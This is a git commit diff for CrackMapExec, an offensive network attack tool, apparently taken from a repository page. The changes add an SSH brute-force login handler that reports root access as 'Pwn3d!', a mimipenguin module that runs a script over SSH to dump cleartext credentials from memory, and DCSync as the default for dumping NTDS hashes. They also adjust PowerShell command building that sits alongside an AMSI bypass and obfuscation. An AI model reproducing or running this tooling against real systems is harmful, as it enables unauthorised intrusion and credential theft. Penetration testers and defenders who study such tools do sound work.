- Passing --ntds will automatically use the drsuapi method (DCSync) - Initial implementation of the SSH protocol and the mimipenguin module (This is very much still not finished, lots of stuff missing) - Added check to make sure existing config file is in the 4.x format - Added splinter and paramiko to dep requirements - Updated Impacket to latest commit - HTTP protocol now also returns server version in outputmain
parent
e973e8c210
commit
0b936def23
|
@ -28,3 +28,6 @@
|
|||
[submodule "cme/data/sessiongopher"]
|
||||
path = cme/data/sessiongopher
|
||||
url = https://github.com/fireeye/SessionGopher
|
||||
[submodule "cme/data/mimipenguin"]
|
||||
path = cme/data/mimipenguin
|
||||
url = https://github.com/huntergregal/mimipenguin
|
||||
|
|
|
@ -190,7 +190,7 @@ class connection(object):
|
|||
password.seek(0)
|
||||
|
||||
elif type(user) is not file:
|
||||
if self.args.hash:
|
||||
if hasattr(self.args, 'hash') and self.args.hash:
|
||||
with sem:
|
||||
for ntlm_hash in self.args.hash:
|
||||
if type(ntlm_hash) is not file:
|
||||
|
@ -208,10 +208,16 @@ class connection(object):
|
|||
for password in self.args.password:
|
||||
if type(password) is not file:
|
||||
if not self.over_fail_limit(user):
|
||||
if hasattr(self.args, 'domain'):
|
||||
if self.plaintext_login(self.domain, user, password): return True
|
||||
else:
|
||||
if self.plaintext_login(user, password): return True
|
||||
|
||||
elif type(password) is file:
|
||||
for f_pass in password:
|
||||
if not self.over_fail_limit(user):
|
||||
if hasattr(self.args, 'domain'):
|
||||
if self.plaintext_login(self.domain, user, f_pass.strip()): return True
|
||||
else:
|
||||
if self.plaintext_login(user, f_pass.strip()): return True
|
||||
password.seek(0)
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
Subproject commit 0a127fa26280be1c35fcc9646a17f2d6f0114d60
|
|
@ -2,6 +2,7 @@ import os
|
|||
import sqlite3
|
||||
import shutil
|
||||
import cme
|
||||
from ConfigParser import ConfigParser, NoSectionError
|
||||
from cme.helpers.logger import highlight
|
||||
from cme.loaders.protocol_loader import protocol_loader
|
||||
from subprocess import check_output, PIPE
|
||||
|
@ -61,6 +62,16 @@ def first_run_setup(logger):
|
|||
logger.info('Copying default configuration file')
|
||||
default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf')
|
||||
shutil.copy(default_path, CME_PATH)
|
||||
else:
|
||||
# This is just a quick check to make sure the config file isn't the old 3.x format
|
||||
try:
|
||||
config = ConfigParser()
|
||||
config.read(CONFIG_PATH)
|
||||
current_workspace = config.get('CME', 'workspace')
|
||||
except NoSectionError:
|
||||
logger.info('v3.x configuration file detected, replacing with new version')
|
||||
default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf')
|
||||
shutil.copy(default_path, CME_PATH)
|
||||
|
||||
if not os.path.exists(CERT_PATH):
|
||||
logger.info('Generating SSL certificate')
|
||||
|
|
|
@ -0,0 +1,6 @@
|
|||
import os
|
||||
import cme
|
||||
|
||||
def get_script(path):
|
||||
with open(os.path.join(os.path.dirname(cme.__file__), 'data', path), 'r') as script:
|
||||
return script.read()
|
|
@ -67,7 +67,7 @@ def obfs_ps_script(path_to_script):
|
|||
|
||||
return strippedCode
|
||||
|
||||
def create_ps_command(ps_command, force_ps32=False):
|
||||
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False):
|
||||
|
||||
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
||||
try{
|
||||
|
@ -133,6 +133,7 @@ else
|
|||
|
||||
else:
|
||||
"""
|
||||
if not dont_obfs:
|
||||
obfs_attempts = 0
|
||||
while True:
|
||||
command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "' + invoke_obfuscation(command) + '"'
|
||||
|
@ -144,6 +145,11 @@ else
|
|||
exit(1)
|
||||
|
||||
obfs_attempts += 1
|
||||
else:
|
||||
command = 'powershell.exe -noni -nop -w 1 -enc {}'.format(encode_ps_command(command))
|
||||
if len(command) > 8191:
|
||||
logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command)))
|
||||
exit(1)
|
||||
|
||||
return command
|
||||
|
||||
|
|
|
@ -0,0 +1,42 @@
|
|||
from cme.helpers.bash import get_script
|
||||
from sys import exit
|
||||
|
||||
class CMEModule:
|
||||
'''
|
||||
Example
|
||||
Module by @yomama
|
||||
|
||||
'''
|
||||
name = 'mimipenguin'
|
||||
description = 'Dumps cleartext credentials in memory'
|
||||
supported_protocols = ['ssh']
|
||||
opsec_safe= True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
SCRIPT Script version to execute (choices: bash, python) (default: bash)
|
||||
'''
|
||||
scripts = {'PYTHON': get_script('mimipenguin/mimipenguin.py'),
|
||||
'BASH' : get_script('mimipenguin/mimipenguin.sh')}
|
||||
|
||||
self.script_choice = 'BASH'
|
||||
if 'SCRIPT' in module_options:
|
||||
self.script_choice = module_options['SCRIPT'].upper()
|
||||
if self.script_choice not in scripts.keys():
|
||||
context.log.error('SCRIPT option choices can only be PYTHON or BASH')
|
||||
exit(1)
|
||||
|
||||
self.script = scripts[self.script_choice]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.script_choice == 'BASH':
|
||||
stdin, stdout, stderr = connection.conn.exec_command("bash -")
|
||||
elif self.script_choice == 'PYTHON':
|
||||
stdin, stdout, stderr = connection.conn.exec_command("python2 -")
|
||||
|
||||
stdin.write("{}\n".format(self.script))
|
||||
stdin.channel.shutdown_write()
|
||||
context.log.success('Executed command')
|
||||
for line in stdout:
|
||||
context.log.highlight(line.strip())
|
|
@ -4,13 +4,14 @@ from gevent.pool import Pool
|
|||
from gevent.socket import gethostbyname
|
||||
from urlparse import urlparse
|
||||
from datetime import datetime
|
||||
from sys import exit
|
||||
from cme.helpers.logger import highlight
|
||||
from cme.logger import CMEAdapter
|
||||
from cme.connection import *
|
||||
from cme.helpers.http import *
|
||||
from requests import ConnectionError, ConnectTimeout, ReadTimeout
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
from splinter import Browser
|
||||
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
|
||||
|
||||
# The following disables the warning on an invalid cert and allows any SSL/TLS cipher to be used
|
||||
# I'm basically guessing this is the way to specify to allow all ciphers since I can't find any docs about it, if it don't worky holla at me
|
||||
|
@ -27,13 +28,6 @@ class http(connection):
|
|||
self.transport = None
|
||||
self.port = None
|
||||
|
||||
try:
|
||||
from splinter import Browser
|
||||
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
|
||||
except ImportError:
|
||||
print highlight('[!] HTTP protocol requires splinter and phantomjs', 'red')
|
||||
exit(1)
|
||||
|
||||
if self.hostname.startswith('http://') or self.hostname.startswith('https://'):
|
||||
port_dict = {'http': 80, 'https': 443}
|
||||
self.url = self.hostname
|
||||
|
@ -86,6 +80,7 @@ class single_connection(connection):
|
|||
self.port = port
|
||||
self.transport = transport
|
||||
self.hostname = http.hostname
|
||||
self.server_headers = None
|
||||
self.conn = None
|
||||
|
||||
self.proto_flow()
|
||||
|
@ -97,7 +92,9 @@ class single_connection(connection):
|
|||
'hostname': self.hostname})
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.info('{} (Title: {})'.format(self.conn.url, self.conn.title.strip()))
|
||||
self.logger.info('{} (Server: {}) (Page Title: {})'.format(self.conn.url,
|
||||
self.server_headers['Server'] if 'Server' in self.server_headers.keys() else None,
|
||||
self.conn.title.strip() if self.conn.title else None))
|
||||
|
||||
def create_conn_obj(self):
|
||||
user_agent = get_desktop_uagent()
|
||||
|
@ -108,6 +105,7 @@ class single_connection(connection):
|
|||
|
||||
try:
|
||||
r = requests.get(url, timeout=10, headers={'User-Agent': user_agent})
|
||||
self.server_headers = r.headers
|
||||
except ConnectTimeout, ReadTimeout:
|
||||
return False
|
||||
except Exception as e:
|
||||
|
|
|
@ -16,7 +16,8 @@ class database:
|
|||
"ip" text,
|
||||
"hostname" text,
|
||||
"port" integer,
|
||||
"title" text,
|
||||
"server" text,
|
||||
"page_title" text,
|
||||
"login_url" text
|
||||
)''')
|
||||
|
||||
|
|
|
@ -122,7 +122,7 @@ class smb(connection):
|
|||
cegroup = cgroup.add_mutually_exclusive_group()
|
||||
cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
|
||||
cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
|
||||
cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, type=str, help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
|
||||
cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
|
||||
#cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
|
||||
#cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
|
||||
|
||||
|
|
|
@ -0,0 +1,74 @@
|
|||
import paramiko
|
||||
from cme.connection import *
|
||||
from cme.helpers.logger import highlight
|
||||
from cme.logger import CMEAdapter
|
||||
from paramiko.ssh_exception import AuthenticationException, NoValidConnectionsError, SSHException
|
||||
|
||||
class ssh(connection):
|
||||
|
||||
@staticmethod
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
ssh_parser = parser.add_parser('ssh', help="own stuff using SSH", parents=[std_parser, module_parser])
|
||||
#ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key")
|
||||
ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
|
||||
|
||||
cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
|
||||
|
||||
return parser
|
||||
|
||||
def proto_logger(self):
|
||||
self.logger = CMEAdapter(extra={'protocol': 'SSH',
|
||||
'host': self.host,
|
||||
'port': self.args.port,
|
||||
'hostname': self.hostname})
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.info(self.remote_version)
|
||||
|
||||
def enum_host_info(self):
|
||||
self.remote_version = self.conn._transport.remote_version
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.conn = paramiko.SSHClient()
|
||||
self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
|
||||
try:
|
||||
self.conn.connect(self.host, port=self.args.port)
|
||||
except AuthenticationException:
|
||||
return True
|
||||
except SSHException:
|
||||
return True
|
||||
except NoValidConnectionsError:
|
||||
return False
|
||||
|
||||
def check_if_admin(self):
|
||||
stdin, stdout, stderr = self.conn.exec_command('id')
|
||||
if stdout.read().find('uid=0(root)') != -1:
|
||||
self.admin_privs = True
|
||||
|
||||
def plaintext_login(self, username, password):
|
||||
try:
|
||||
self.conn.connect(self.host, port=self.args.port, username=username, password=password)
|
||||
self.check_if_admin()
|
||||
|
||||
self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'),
|
||||
password.decode('utf-8'),
|
||||
highlight('(Pwn3d!)') if self.admin_privs else ''))
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.error(u'{}:{} {}'.format(username.decode('utf-8'),
|
||||
password.decode('utf-8'),
|
||||
e))
|
||||
|
||||
return False
|
||||
|
||||
def execute(self, payload=None, get_output=False):
|
||||
stdin, stdout, stderr = self.conn.exec_command(self.args.execute)
|
||||
self.logger.success('Executed command')
|
||||
for line in stdout:
|
||||
self.logger.highlight(line.decode('utf-8').strip())
|
||||
|
||||
return stdout
|
|
@ -0,0 +1,21 @@
|
|||
class database:
|
||||
|
||||
def __init__(self, conn):
|
||||
self.conn = conn
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
db_conn.execute('''CREATE TABLE "credentials" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"username" text,
|
||||
"password" text,
|
||||
"pkey" text,
|
||||
)''')
|
||||
|
||||
db_conn.execute('''CREATE TABLE "hosts" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"ip" text,
|
||||
"hostname" text,
|
||||
"port" integer,
|
||||
"server_banner" text
|
||||
)''')
|
|
@ -0,0 +1,15 @@
|
|||
import cmd
|
||||
from cme.protocols.ssh.database import database
|
||||
from cme.cmedb import UserExitedProto
|
||||
|
||||
class navigator(cmd.Cmd):
|
||||
def __init__(self, main_menu):
|
||||
cmd.Cmd.__init__(self)
|
||||
|
||||
self.main_menu = main_menu
|
||||
self.config = main_menu.config
|
||||
self.db = database(main_menu.conn)
|
||||
self.prompt = 'cmedb ({})({}) > '.format(main_menu.workspace, 'ssh')
|
||||
|
||||
def do_back(self, line):
|
||||
raise UserExitedProto
|
|
@ -1 +1 @@
|
|||
Subproject commit 74058cc0f03f4cfdd165da5bdf1fc6f8f04daaee
|
||||
Subproject commit a1523f32ee852b4925bb814e29d1d2a56cc9e438
|
|
@ -1,10 +1,12 @@
|
|||
pycrypto>=2.6
|
||||
pyasn1>=0.1.8
|
||||
gevent>=1.2.0
|
||||
requests>=2.3.0
|
||||
requests>=2.9.1
|
||||
bs4
|
||||
netaddr
|
||||
pyOpenSSL
|
||||
termcolor
|
||||
msgpack-python
|
||||
pylnk
|
||||
splinter
|
||||
paramiko
|
6
setup.py
6
setup.py
|
@ -21,13 +21,15 @@ setup(name='crackmapexec',
|
|||
'pycrypto>=2.6',
|
||||
'pyasn1>=0.1.8',
|
||||
'gevent>=1.2.0',
|
||||
'requests>=2.3.0',
|
||||
'requests>=2.9.1',
|
||||
'bs4',
|
||||
'netaddr',
|
||||
'pyOpenSSL',
|
||||
'termcolor',
|
||||
'msgpack-python',
|
||||
'pylnk'
|
||||
'pylnk',
|
||||
'splinter',
|
||||
'paramiko',
|
||||
],
|
||||
entry_points = {
|
||||
'console_scripts': ['crackmapexec=cme.crackmapexec:main', 'cme=cme.crackmapexec:main', 'cmedb=cme.cmedb:main'],
|
||||
|
|
Loading…
Reference in New Issue